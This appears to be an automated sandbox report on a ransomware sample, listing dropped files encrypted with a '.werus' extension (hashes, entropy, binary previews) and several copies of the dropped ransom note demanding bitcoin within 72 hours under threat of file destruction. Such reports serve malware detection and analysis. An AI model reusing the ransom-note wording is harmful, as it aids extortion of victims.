Preview:	2........R_. .H_..e....Xt........(...T.Z..$/....t.`.M..#..x...."..5;....B..s/..eL.s.?.....T....tF.......:..E.sE....5...9. .../.N[..}...C;y...6v..^.8.Q.'..5....H..)........}.W.q...p..K#4.D...g......`.a..b...K...=a.Y..@..Yo..6..4.....y..l@B.'."...+S.n...%.i1....q..!3KW..a>D.OY.hc..i+.k.KC.u.u.P{O....0B....L....HUJ.X4.R>..R...M.....\|'.@...i{.zp..........LK.D.g.n..M.65....F...9@..."7.......h..\kc.py.@......_......}.`...?..51%.@..$>.....lv..>....j.Y}..2...&~.)!....$.t....E-WFW>..s.s..M.o..<9.K.G.E..`t...=...+..;..4.d.c.,0p....-...[....z#...i..f.3....Ib...3k..@..V.&..&d...k.....)...b(.yL"..5...:.8@`O.]8....i"8.UC'.zCd.......+z...E..o@_.)9.l>.....kE..Xq.R.!qo..J..c..0z..M.?...mp.L/..X.....T.......K`.......~....m..Q..>;.~n..c......#.9.H...g..c./y..... .1.C...] ...!..q...8{..t.d.+.>Vx..V<..+...tAsa.t..h..`7...M..?@.'.-......p.a5..!.....O._..M.;.....E....^c..Z#S.Y.tN.^...0......1sf.L..t...!x..[....N#....{.5.....s.O%......<.....&C.2

C:\Users\user\Desktop\GRXZDKKVDB\PALRGUCVEH.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.822367968188942
Encrypted:	false
SSDEEP:	24:cXHsYFAVaZuD/hPz7RCXXBHXwkP2TZgE5GYK55Y7bhWz9Own:ivuVaO/hP/EXXBgkSKMhWz9Ow
MD5:	E1306CF4E5DA8EF37EE8EF2AF33E1FA2
SHA1:	964E5A453C69D403E282DE3FCB457AEC4ED885BA
SHA-256:	944404FD1C6F16BB2CFCD92EB181E9CBA3086DFC6535BABFE54062CC4838FB8C
SHA-512:	75BF74DA96D8B44F06DD2F0FF6D09956F40220AC718702E93CFEDF6449D72A14C349CE9998AD74DFB93A205E2E8F85B4258E74B7F79DB63DA3D54367AB16250E
Malicious:	false
Preview:	P@...\h.......f].v... ..P..M..t...b..>3$.........[9Mj+..PC..6....';...EDf0"....O...1...Ph.o..a.....r.N...,..{.T...7j....mU.l.....!l.....X...9....OJ.<}..E.9...[I..o...l....a.5..f@.W..xA.....#...<...'A[..B^.. 3.R,.......K4 `.P...w.../.....P..nAt..W.Adnw......i..I..e.C.....V8..v<:...0......."B.P1z..%.K.....d7.......q.~.m.-N..r..NO...Z5.hF.,O\.#.a.......0vc...n-....o..>(-..."./8......o@PF.W.fAI..i.^....\|#DG.c.u....s%.p.XMY.$p......[=...&.Q(3.o......S$W....#.,..G.g.....P....J.G...FO.E%{..?>.R....`...'C...h.T.....+.c."..A{._...x.KYy..5\..7F.DE...\|...-J....Vz.QWo"5.h~\.K.t....J..Y..P.i.g.x$...G..p.."....xb...>we....OU....CM...........ulm..Ak.......1-.!._..o.Pb.....+<..G..:'....n.(%.......o....:E.u...`...<i30\(.yq.#..y....0b.w.k/..^.Nq...<.3.o.I. ....&...Kf..C.Z^.[c+.ip..-+i3..........^cH..........x.(.........C4K.7CI4............r....5(....KE.9};.I.ni..l....z.f....y...h..BI=:Y..&...nQ.(...i....yX@.-.6F......S..5M...ln...M.j..."{x.

C:\Users\user\Desktop\GRXZDKKVDB\TQDFJHPUIU.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794728995711684
Encrypted:	false
SSDEEP:	24:6NdDp2a/nsxSB1dHS/ZnncqJ3QDR1/ukfh0fr9A:6XDp26nsIdy/ZnMb/z50fq
MD5:	DD6BD2F31E9C72DB0F81E40AF4EF23F3
SHA1:	F23025881B45D703A1B8A20F906F1DC8839A426E
SHA-256:	D31682DEA2585B97BEB3C8DC8290FC5E00D42596EDFA60F696204B8C88C62C90
SHA-512:	5F5180C5CAA08C9E2441F45BE3F4D0D8155FF2F2BFC8A2AB9B48578480A3C2B3A750091C19839F7D78799355C88042878FD36CDDD715199132FA08023F63F0F1
Malicious:	false
Preview:	...j.\..U.&.8RcU...XuQ..k.:....{."f(.;.x...8.".A.1%8......m..l.P:.S:2...2c@..,,.<..RL..u{.....Fr....;X^X.e.S.i.[+.../.&.Tq.~jxC,..............PJ..#(A.,bT........5.Q....1..1..Z......!.<!....3N. ef.v...q<....B$[...p.......F~..&.@..H.......3.T7.w..\.....<8..;.U..6.q.f..h.f...\A..$..:...6jJ.Z...R.....!...t....<...r.G@..^C..z...%.\.9L2.fW..n..,J...Q..1+b.....y..........$..j.....Nx.q.E.<K...!..J.D.y.o-..bj.F.....3.j.}.d.......%+..G$..yu.R...1..,.>.>1..y....3..y..3.......V.q........fM[?<.(..0L.}.t..;}..D8.C.4...+..>...1.w.X]P(.....HU...&.\....;...?...T...f.<;....@.4.).".....wJ.^.....9.#y`.J%.xD.L.J..{.....d)...;T..\U..I.G......7...h...:)..2............w..K.w.....xv4 .!...<g..Q.Al......~.\|wf.h1.s.S..-/.[.m(.4uLc<.M.9.GW./.........R.*n&h......;+..[.z......0....A8....&.f....]I...(L.c..`....369.(O.....h@.g.[.q....^.{....N...^+n.$...l.k.\|.l..\t....k.L....7.#.6Gt.(...!.^\[........L).4.6...YT.N.{..:...E~......7.......<f2/..?.2..T........g.po....8..M...l

C:\Users\user\Desktop\NVWZAPQSQL.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815318155019802
Encrypted:	false
SSDEEP:	24:ekmW4TKI4HedQMw/ezvoFaPJqQ7DVhTBT7cHkgBdlqahLm+/3R9HN9g:eZW4ub+dQMae8EBquD3BT7wzBdlqavZy
MD5:	509F015F2DB9EE594031AB80CF3316C5
SHA1:	258B4567FACE4CEC1C0E889C5FF657635D546353
SHA-256:	AECB13B0A0403C12FB53B2B79621AC9DEE54EB271381B49776591F97A789E7D7
SHA-512:	48AA32EA89340F41E69DC1744EFAA9DE5E092DD96E65FC2E76C904A7CC06C3A1E2F84562264430CB7FDBFCC627DF9FE61DF5D8005AC9759F55FF94B147FD5DE4
Malicious:	false
Preview:	..$.vl...r..\|.=.hS59_7...P...,.W7...c..f'/.U..........X..AV,..y...Jb...6>..;.7.P..mS..2.=.PL..%..rq.mt...GT{.m.m....g.8s..8^.m;.`..gq.A..Qdw#..a...4.._..E....pS'.T.......u...A\|..\...S...=.5v g.=..[..v3...E.a...oY.K...fT.obGD..c6.>......K........... .......zR'!n.le..... ....mg.m.k.rX&.0.p...A&...c5..(;q.J...EC.'.O\|..........E.wd.....S.........Q:{].......W\w._..m...S&.d.h.....9.....Ex..-..-..MK.,.?'.......L...:K.6D.{3MFvV.\.$..5.S..U.Z..5J?TY.. ..,.5.=].z.hKf..Fzq...&..e.zL2..-v....Y.1N..u....@sA..[..-NS.....va.w...P......IPn........bdZ)..Q..6$..../.)..jCSm=('.Jea..{..sT8SZ..nP...I...rR..;m.......#........V.n.%[...;\|D...g).-r.?.....s..,v..........6[R...o.......B..............x...V.m.H.-.!..B.Y.....a........KU..i7...z...Yc..a.r.@..._.D.....l....;....BPn}..........9.u...c%u.R?V.r...>.r6i.L.xh..o..}+....K....s.k..-..yZ.:..z.M.jOR.YR%.)C..g._.\|../f.Zj...m7H._E..J....+._\.......o.&...er$.\..1W.1.% T..4....7..A....o~6y;..]@\|......

C:\Users\user\Desktop\NVWZAPQSQL\BJZFPPWAPT.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815394976977743
Encrypted:	false
SSDEEP:	24:UY5YgVIssmlpFcqRJXQgsRmWwJckY1XOV5H5rm/+RyiTbl7rQyPq:F5YgVI1mPFzRzsn+KePH5rYcyqbl7rdy
MD5:	6E5BFC1E872E4925BF62C70242D73D4C
SHA1:	58C7852A21348D4FECB8A7971D1E85B26777E9B3
SHA-256:	5CAC4025AC87F1446CE2F1C72DF506097FA65CB25974A92C7B09C7C9400EAD61
SHA-512:	97DFAB9B444D44D19D3ED0DCE9B7CDF0E4E8DD44DB7A1F239E2E614BF4EF33ADCC1280CE6AE9D00C63B7A6DBB23B06BFB3ADAC04A495C883D8865F175C3CA465
Malicious:	false
Preview:	"k>$n..<........P.^.\|.Y....U...p'...gj.J.?....W...$.hU.[.).@.n..P.I.'..O".....CB~..dnqU.w0B.J.O...w..!.._....vH7....h..j.... ....V.....7......w..0..\|...n..# .. W..B..=S...V.mH..Q.~=.v.....\+2...q.h...o.C...lD.....C....q8v..5f`.....}...U9:v.2.&A.H'.. ...j.t.E&.C1f.."....D6.........X.wM..D...@.p.....I..{K.z7...zv?.!^X^..+&.vd..0.X...(t. ..0]7.].9{..4....U)I?.1HQ3..{D@.r/.2}.......dVc.....L.}...Q..0..j...s.2....>..{.BV..;K..&]...`..A.X&...f.....p.h.......I.....xK.\|..">k;&.v.-....... .1.......E}..Q...,p....Z-..X.#.t,G#Qw.<.mY.J.)...~.t..._.(....3..{.......t9..>..[...c8.>.xM..o1. .s..........Jq..b..`T]0..8..6..!.ve...a&.hS......j...b.C..yL..n..dT.$....A...`.6D...X@p.N.q~.;......M....f.1..........cT.X."S..............1L..\|E.O6.Elf..xt..Q.D...f .D.bA.4..*....V..`.V..\....O.. .CS).......Y...d.F..;.w..$..q).-.m[...l#..\Q.v.#A..wav.V.V...q..v.....,.=..^...(..`Y9....>.K.p+.............]....}Y..(..A.o.\|....N.d...8r.o.&..d..l..#D7J..l.E....J.L..gJIj~y.s

C:\Users\user\Desktop\NVWZAPQSQL\DUUDTUBZFW.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.828220413993666
Encrypted:	false
SSDEEP:	24:g13yKrR1kMESHgJN/DHMtOdU2xClZUH3AS3QKY94QE:eiKd1V1gJN/DHMtTIDHw0QKYGQE
MD5:	2D0ABCE385246A61C179DF80E9219CBF
SHA1:	0ABA438E60CB193864B4A0C382D14E309B899A7F
SHA-256:	E1CC73C4B5426A8DD9246610E20C89387E8D027AABD758AD504A66707989BBCB
SHA-512:	296A384489120B8954C7C5DA8DC9141D6A7BDD196D44122D5077DCADEB1EB069644D79B6690D18293748FD0271A74DBBCFDEB8BF841CDDCD7B046361B5EB8434
Malicious:	false
Preview:	<s..AfiN.....M.5x..d.>.l.....{....k.p........$.}>..........~......4..O.~..N.c.;.7..)>.>4..p...E......c...g..od...fi7K...7g=q.P...B....#.n..\_.O..N.L.'Z.3..F.../$...-8X.z...d,..j.1.>?..z/....M..+..e....LE.v../.:3&T...tfz...ov.8.)}.>.N.T.P.ky{.....%%i......$...hL8.c.).<.^QZX...a...j..DX.%....w.b..j..:@.W...c.G.........x.........'.d..@..?.'.y.)..i...{.GI.6x.H1.q(...ZVr~..}.....FE.g\|......q.H.h<.S #...A<I..iu.`."?.....K}......W$..P.Uc..\|..,.............k.Z..h.0a`.....HR2jL....!.UVZP.t...F.(...;H..@..K.&~\|~............D..M.....^S.]j....=.N...q$..V..%%J..#w.......W.7. .6....2....n...J.....h.I..tZN\Hb..a.4..;3j:#.a.A.X?..%>v......yq..t7(A..3I...y...8i.c....n..}.U;G..]..@.fQ..]Q...o..o.F<Q.o...7.)m.....0..W.)V...#....w......;v....\N....d.5..:[..#[=...e=.`.zk.w........af..S.....(..2....V?y%v%.........zC3.\|+.E.....E.Z...Ve=s...'F...u.f.T4..F..S}.+.........:0...=.\|.f....PY.W.Z...[..E.92C..}..Z.WC"#...u.....+b.r..r..>.jb..!....5k.....7

C:\Users\user\Desktop\NVWZAPQSQL\EFOYFBOLXA.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.798255607866141
Encrypted:	false
SSDEEP:	24:wRQt4ltDWFW96dFC3MFEC/cIoi4CV5fIZBb+Cbi:uUE90W8dY3MWCLFgjs
MD5:	F0A2E536D14085B332671A54E1C8E828
SHA1:	A75A8E0D8EEDBC9C992E8B4D499EA04F369384AC
SHA-256:	3CB2950FAC9DBDD07CCAF61B645DC96D842264EDA67EB63A59017BDF836F5C91
SHA-512:	2D1EE758C8E12C77465C0B50A69EA69E82CC76F814EED9A309C23955DB8B25081AF79971D1A534263C84CFBD7C3394F6675FD5754D012CAB5D4D20AEDAB5C829
Malicious:	false
Preview:	K_.d.o.....<1@.=U.....kF.D%N..D......(.3..mub..wn.9tC......X.Q.d..i.......Jhq)....o.......1.S)L.....x{...E.Wc..Q..9._...jUp.R\......E.>C=Z.WB9A.2..?.i....}iLL...sq..........>B..Y..I$kC.P..ab.m.Q..h.$Qu.5f;?[....!NO.?...lhbu.~.Q.<.Q..W2.s.s5...\p.\.xB7.-...E`..j...6...>.]f. ;..y......zj.BT.v....7...53......\|..,......Cb .......N......V..k.Fg.KBs....}.....2.6...x...g.ZW[.....2..ix.......0..z...A.Y.n2s.t.....j......Y.=..y=q..q....%.[>.K.n.....#.I.Hcp.VYB..SI..1./5..x...T.......ge.V.]....[:...\|51..S....?@..g.......IR..\.K..t..?..y......@..M5.sw..$..7..U..'.R.Hl...b....../....(.;-h.........uK.!.).......z.p..3........\|.......70.S.D~N..i.s..U;R....+%.\|..K.O".3.E(.Rq.Ki..5@.^.]..!..J..~].+...]".b.3~.;.z9P..9.T...j.d..Na. .....j>.Qo..5.:.9]W....1... N.~.S.....`L3....;..h.f.7SBu..Zi.5..a...h....v...J%.T.rSFk.6.....o..u6bT,#/.Q.).."d...dBLz.....@.....\|./P........>.GDls..yv..$..9.^...B...S...'.....@....3Qu..f..'5.2.[...1.x..SP...n....3.[.j~R..

C:\Users\user\Desktop\NVWZAPQSQL\GRXZDKKVDB.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.818295075917987
Encrypted:	false
SSDEEP:	24:PoGrfdfDSL3RcQoaBpX1M5PYk76TSLFcLEmTdMP86sSfAvj9T:wGrfdGL3iyDFkaTSLFqlT+P/fwj1
MD5:	A2C57B0A762457C69AC5F09A96A32E39
SHA1:	B0C84D0612E14608199EF729B08886ECFB166675
SHA-256:	04153BA8EB9949BE92DBED893F9EA4FAEBA7141240312BA2AA02228B18D04BFD
SHA-512:	B291BAEB2DA3F9D4E31D0A37443E83A3B22D82C19FD9024345F66A761EEB1725ABF653AA99BF64ED34FB3C6B1855A21E7ADE79A82738A4EF74B68E67F2E7BD24
Malicious:	false
Preview:	2........R_. .H_..e....Xt........(...T.Z..$/....t.`.M..#..x...."..5;....B..s/..eL.s.?.....T....tF.......:..E.sE....5...9. .../.N[..}...C;y...6v..^.8.Q.'..5....H..)........}.W.q...p..K#4.D...g......`.a..b...K...=a.Y..@..Yo..6..4.....y..l@B.'."...+S.n...%.i1....q..!3KW..a>D.OY.hc..i+.k.KC.u.u.P{O....0B....L....HUJ.X4.R>..R...M.....\|'.@...i{.zp..........LK.D.g.n..M.65....F...9@..."7.......h..\kc.py.@......_......}.`...?..51%.@..$>.....lv..>....j.Y}..2...&~.)!....$.t....E-WFW>..s.s..M.o..<9.K.G.E..`t...=...+..;..4.d.c.,0p....-...[....z#...i..f.3....Ib...3k..@..V.&..&d...k.....)...b(.yL"..5...:.8@`O.]8....i"8.UC'.zCd.......+z...E..o@_.)9.l>.....kE..Xq.R.!qo..J..c..0z..M.?...mp.L/..X.....T.......K`.......~....m..Q..>;.~n..c......#.9.H...g..c./y..... .1.C...] ...!..q...8{..t.d.+.>Vx..V<..+...tAsa.t..h..`7...M..?@.'.-......p.a5..!.....O._..M.;.....E....^c..Z#S.Y.tN.^...0......1sf.L..t...!x..[....N#....{.5.....s.O%......<.....&C.2

C:\Users\user\Desktop\NVWZAPQSQL\NVWZAPQSQL.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815318155019802
Encrypted:	false
SSDEEP:	24:ekmW4TKI4HedQMw/ezvoFaPJqQ7DVhTBT7cHkgBdlqahLm+/3R9HN9g:eZW4ub+dQMae8EBquD3BT7wzBdlqavZy
MD5:	509F015F2DB9EE594031AB80CF3316C5
SHA1:	258B4567FACE4CEC1C0E889C5FF657635D546353
SHA-256:	AECB13B0A0403C12FB53B2B79621AC9DEE54EB271381B49776591F97A789E7D7
SHA-512:	48AA32EA89340F41E69DC1744EFAA9DE5E092DD96E65FC2E76C904A7CC06C3A1E2F84562264430CB7FDBFCC627DF9FE61DF5D8005AC9759F55FF94B147FD5DE4
Malicious:	false
Preview:	..$.vl...r..\|.=.hS59_7...P...,.W7...c..f'/.U..........X..AV,..y...Jb...6>..;.7.P..mS..2.=.PL..%..rq.mt...GT{.m.m....g.8s..8^.m;.`..gq.A..Qdw#..a...4.._..E....pS'.T.......u...A\|..\...S...=.5v g.=..[..v3...E.a...oY.K...fT.obGD..c6.>......K........... .......zR'!n.le..... ....mg.m.k.rX&.0.p...A&...c5..(;q.J...EC.'.O\|..........E.wd.....S.........Q:{].......W\w._..m...S&.d.h.....9.....Ex..-..-..MK.,.?'.......L...:K.6D.{3MFvV.\.$..5.S..U.Z..5J?TY.. ..,.5.=].z.hKf..Fzq...&..e.zL2..-v....Y.1N..u....@sA..[..-NS.....va.w...P......IPn........bdZ)..Q..6$..../.)..jCSm=('.Jea..{..sT8SZ..nP...I...rR..;m.......#........V.n.%[...;\|D...g).-r.?.....s..,v..........6[R...o.......B..............x...V.m.H.-.!..B.Y.....a........KU..i7...z...Yc..a.r.@..._.D.....l....;....BPn}..........9.u...c%u.R?V.r...>.r6i.L.xh..o..}+....K....s.k..-..yZ.:..z.M.jOR.YR%.)C..g._.\|../f.Zj...m7H._E..J....+._\.......o.&...er$.\..1W.1.% T..4....7..A....o~6y;..]@\|......

C:\Users\user\Desktop\NVWZAPQSQL\PALRGUCVEH.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.822367968188942
Encrypted:	false
SSDEEP:	24:cXHsYFAVaZuD/hPz7RCXXBHXwkP2TZgE5GYK55Y7bhWz9Own:ivuVaO/hP/EXXBgkSKMhWz9Ow
MD5:	E1306CF4E5DA8EF37EE8EF2AF33E1FA2
SHA1:	964E5A453C69D403E282DE3FCB457AEC4ED885BA
SHA-256:	944404FD1C6F16BB2CFCD92EB181E9CBA3086DFC6535BABFE54062CC4838FB8C
SHA-512:	75BF74DA96D8B44F06DD2F0FF6D09956F40220AC718702E93CFEDF6449D72A14C349CE9998AD74DFB93A205E2E8F85B4258E74B7F79DB63DA3D54367AB16250E
Malicious:	false
Preview:	P@...\h.......f].v... ..P..M..t...b..>3$.........[9Mj+..PC..6....';...EDf0"....O...1...Ph.o..a.....r.N...,..{.T...7j....mU.l.....!l.....X...9....OJ.<}..E.9...[I..o...l....a.5..f@.W..xA.....#...<...'A[..B^.. 3.R,.......K4 `.P...w.../.....P..nAt..W.Adnw......i..I..e.C.....V8..v<:...0......."B.P1z..%.K.....d7.......q.~.m.-N..r..NO...Z5.hF.,O\.#.a.......0vc...n-....o..>(-..."./8......o@PF.W.fAI..i.^....\|#DG.c.u....s%.p.XMY.$p......[=...&.Q(3.o......S$W....#.,..G.g.....P....J.G...FO.E%{..?>.R....`...'C...h.T.....+.c."..A{._...x.KYy..5\..7F.DE...\|...-J....Vz.QWo"5.h~\.K.t....J..Y..P.i.g.x$...G..p.."....xb...>we....OU....CM...........ulm..Ak.......1-.!._..o.Pb.....+<..G..:'....n.(%.......o....:E.u...`...<i30\(.yq.#..y....0b.w.k/..^.Nq...<.3.o.I. ....&...Kf..C.Z^.[c+.ip..-+i3..........^cH..........x.(.........C4K.7CI4............r....5(....KE.9};.I.ni..l....z.f....y...h..BI=:Y..&...nQ.(...i....yX@.-.6F......S..5M...ln...M.j..."{x.

C:\Users\user\Desktop\NYMMPCEIMA.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.8277762038193615
Encrypted:	false
SSDEEP:	24:YM8+bOIK1GGnm+XDv/5wMrPcX2g9UnMnZUcLhgsBZi:YM8gEVpXD5FgXYoZ5Ngn
MD5:	031933300F50E20BCD60588843998EE3
SHA1:	7A723B0021B50978ABA3187E5B620C212BFFB093
SHA-256:	D76FA1FE651504A5E45FECB28B6172DEB6811C74E88594E008861C0350801963
SHA-512:	7961A2D2397853422E68DD707746146A76641A8D2AB802555A614126D16AD304227DD46D889EEEF8D218523A54A4E7750326F233119AC3185C8049AA8903F78C
Malicious:	false
Preview:	..B..f..>>2.....tX...........t.Xc..@...E..W.#..".72s.b..7.m...j.:....b..{..~}[{...z....U.c..%1.Zp\|.F33..h?...Wq6..3....#"..tM.#u.29].T.JS..s...U.V......K.'..J..(...[..4:3.n@.d....v......5...,..d....nA/...K.:...(.r.LF.....#.#31j!x0.....M2s...$.J..;.............>.uO.0q@r?....0.4w`..\...g....2.9.A...G......4....A..a..^..IY.w..yEs4...d,.j....T.-.>R7.i.,.V...#..!...7.7..k.p...\|D`\.@mR.1...........+]..5.UW..tQ..p....s...0.D ).=..Q.=.".....;..Q.....dd.%.#G?r.;.Ar/...p9..V....[.7...p..z..a;.....t^...'....U......h.n...luj.&Ye......".$.....E..\&V.".hU#.g...`l\...._n~A{.(rLD.H.z.UR.X....1...=............1N.... ...!N.k.wy.F.K......pM..- ...V...or..Cm..N.w&..g..... Y...v.t......Z.{Y...Pv@.uG..k.x.F.t.%4.i{..?...A.....V;..o.,.;...!U.....6.c.j.g...y~...........Q...U;\|^54..'D...Y} ...Xt...vV.+.iIi.1.>"............R.-.....~Fp..AR......?..x.i..\....B;....%a.c...w..^o.C.G."y... ...f.&.....u..DS.Z...7Uj.:....i. :...G....sG^(L&.._.,B...<@'...9e..<2.

C:\Users\user\Desktop\PALRGUCVEH.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.822367968188942
Encrypted:	false
SSDEEP:	24:cXHsYFAVaZuD/hPz7RCXXBHXwkP2TZgE5GYK55Y7bhWz9Own:ivuVaO/hP/EXXBgkSKMhWz9Ow
MD5:	E1306CF4E5DA8EF37EE8EF2AF33E1FA2
SHA1:	964E5A453C69D403E282DE3FCB457AEC4ED885BA
SHA-256:	944404FD1C6F16BB2CFCD92EB181E9CBA3086DFC6535BABFE54062CC4838FB8C
SHA-512:	75BF74DA96D8B44F06DD2F0FF6D09956F40220AC718702E93CFEDF6449D72A14C349CE9998AD74DFB93A205E2E8F85B4258E74B7F79DB63DA3D54367AB16250E
Malicious:	false
Preview:	P@...\h.......f].v... ..P..M..t...b..>3$.........[9Mj+..PC..6....';...EDf0"....O...1...Ph.o..a.....r.N...,..{.T...7j....mU.l.....!l.....X...9....OJ.<}..E.9...[I..o...l....a.5..f@.W..xA.....#...<...'A[..B^.. 3.R,.......K4 `.P...w.../.....P..nAt..W.Adnw......i..I..e.C.....V8..v<:...0......."B.P1z..%.K.....d7.......q.~.m.-N..r..NO...Z5.hF.,O\.#.a.......0vc...n-....o..>(-..."./8......o@PF.W.fAI..i.^....\|#DG.c.u....s%.p.XMY.$p......[=...&.Q(3.o......S$W....#.,..G.g.....P....J.G...FO.E%{..?>.R....`...'C...h.T.....+.c."..A{._...x.KYy..5\..7F.DE...\|...-J....Vz.QWo"5.h~\.K.t....J..Y..P.i.g.x$...G..p.."....xb...>we....OU....CM...........ulm..Ak.......1-.!._..o.Pb.....+<..G..:'....n.(%.......o....:E.u...`...<i30\(.yq.#..y....0b.w.k/..^.Nq...<.3.o.I. ....&...Kf..C.Z^.[c+.ip..-+i3..........^cH..........x.(.........C4K.7CI4............r....5(....KE.9};.I.ni..l....z.f....y...h..BI=:Y..&...nQ.(...i....yX@.-.6F......S..5M...ln...M.j..."{x.

C:\Users\user\Desktop\PALRGUCVEH.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.822367968188942
Encrypted:	false
SSDEEP:	24:cXHsYFAVaZuD/hPz7RCXXBHXwkP2TZgE5GYK55Y7bhWz9Own:ivuVaO/hP/EXXBgkSKMhWz9Ow
MD5:	E1306CF4E5DA8EF37EE8EF2AF33E1FA2
SHA1:	964E5A453C69D403E282DE3FCB457AEC4ED885BA
SHA-256:	944404FD1C6F16BB2CFCD92EB181E9CBA3086DFC6535BABFE54062CC4838FB8C
SHA-512:	75BF74DA96D8B44F06DD2F0FF6D09956F40220AC718702E93CFEDF6449D72A14C349CE9998AD74DFB93A205E2E8F85B4258E74B7F79DB63DA3D54367AB16250E
Malicious:	false
Preview:	P@...\h.......f].v... ..P..M..t...b..>3$.........[9Mj+..PC..6....';...EDf0"....O...1...Ph.o..a.....r.N...,..{.T...7j....mU.l.....!l.....X...9....OJ.<}..E.9...[I..o...l....a.5..f@.W..xA.....#...<...'A[..B^.. 3.R,.......K4 `.P...w.../.....P..nAt..W.Adnw......i..I..e.C.....V8..v<:...0......."B.P1z..%.K.....d7.......q.~.m.-N..r..NO...Z5.hF.,O\.#.a.......0vc...n-....o..>(-..."./8......o@PF.W.fAI..i.^....\|#DG.c.u....s%.p.XMY.$p......[=...&.Q(3.o......S$W....#.,..G.g.....P....J.G...FO.E%{..?>.R....`...'C...h.T.....+.c."..A{._...x.KYy..5\..7F.DE...\|...-J....Vz.QWo"5.h~\.K.t....J..Y..P.i.g.x$...G..p.."....xb...>we....OU....CM...........ulm..Ak.......1-.!._..o.Pb.....+<..G..:'....n.(%.......o....:E.u...`...<i30\(.yq.#..y....0b.w.k/..^.Nq...<.3.o.I. ....&...Kf..C.Z^.[c+.ip..-+i3..........^cH..........x.(.........C4K.7CI4............r....5(....KE.9};.I.ni..l....z.f....y...h..BI=:Y..&...nQ.(...i....yX@.-.6F......S..5M...ln...M.j..."{x.

C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_1.txt

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	384
Entropy (8bit):	5.136533776011465
Encrypted:	false
SSDEEP:	6:fRuJD5ZXBCX2mCLccmj93BVF35vDFEoeLTkDAAIC4HCbOFCc3C7pQvGQVA5:pytpgnm0VpvD2DLTKAVixyvGQe5
MD5:	2C88913B5EB6BF90E9CF824B69820A40
SHA1:	C1026101714253664B1C231C3C83CAEE1BADEEC3
SHA-256:	88E475F5B4C4D1AEE75503B2C0A198063732F0DC822ADB2DAF36C284629A7DE6
SHA-512:	23C65D312B3D66953365C34BA6AACF9CC273EF26A1145897196CC06EA490F36E381B18BEEA128C634164EC55E16590CBBEF6C6C8C0B11A9C56628A54C96E5908
Malicious:	true
Preview:	ID: 5621a09a-6865-4fe9-9682-1b2d95c65b31..Your files have been encrypted!..To recover your data, please transfer 0.5 bitcoins to the following address: 1A2B3C4D5E6F7G8H9I0J1K2L3M4N4N4N5O6P7...The payment deadline is 72 hours. After that, your files will be destroyed. Do not attempt to recover your files yourself..instructions in the file Readme_@.txt..contact via telegram: @aboba..

C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_2.txt

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	384
Entropy (8bit):	5.136533776011465
Encrypted:	false
SSDEEP:	6:fRuJD5ZXBCX2mCLccmj93BVF35vDFEoeLTkDAAIC4HCbOFCc3C7pQvGQVA5:pytpgnm0VpvD2DLTKAVixyvGQe5
MD5:	2C88913B5EB6BF90E9CF824B69820A40
SHA1:	C1026101714253664B1C231C3C83CAEE1BADEEC3
SHA-256:	88E475F5B4C4D1AEE75503B2C0A198063732F0DC822ADB2DAF36C284629A7DE6
SHA-512:	23C65D312B3D66953365C34BA6AACF9CC273EF26A1145897196CC06EA490F36E381B18BEEA128C634164EC55E16590CBBEF6C6C8C0B11A9C56628A54C96E5908
Malicious:	true
Preview:	ID: 5621a09a-6865-4fe9-9682-1b2d95c65b31..Your files have been encrypted!..To recover your data, please transfer 0.5 bitcoins to the following address: 1A2B3C4D5E6F7G8H9I0J1K2L3M4N4N4N5O6P7...The payment deadline is 72 hours. After that, your files will be destroyed. Do not attempt to recover your files yourself..instructions in the file Readme_@.txt..contact via telegram: @aboba..

C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_3.txt

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	384
Entropy (8bit):	5.136533776011465
Encrypted:	false
SSDEEP:	6:fRuJD5ZXBCX2mCLccmj93BVF35vDFEoeLTkDAAIC4HCbOFCc3C7pQvGQVA5:pytpgnm0VpvD2DLTKAVixyvGQe5
MD5:	2C88913B5EB6BF90E9CF824B69820A40
SHA1:	C1026101714253664B1C231C3C83CAEE1BADEEC3
SHA-256:	88E475F5B4C4D1AEE75503B2C0A198063732F0DC822ADB2DAF36C284629A7DE6
SHA-512:	23C65D312B3D66953365C34BA6AACF9CC273EF26A1145897196CC06EA490F36E381B18BEEA128C634164EC55E16590CBBEF6C6C8C0B11A9C56628A54C96E5908
Malicious:	true
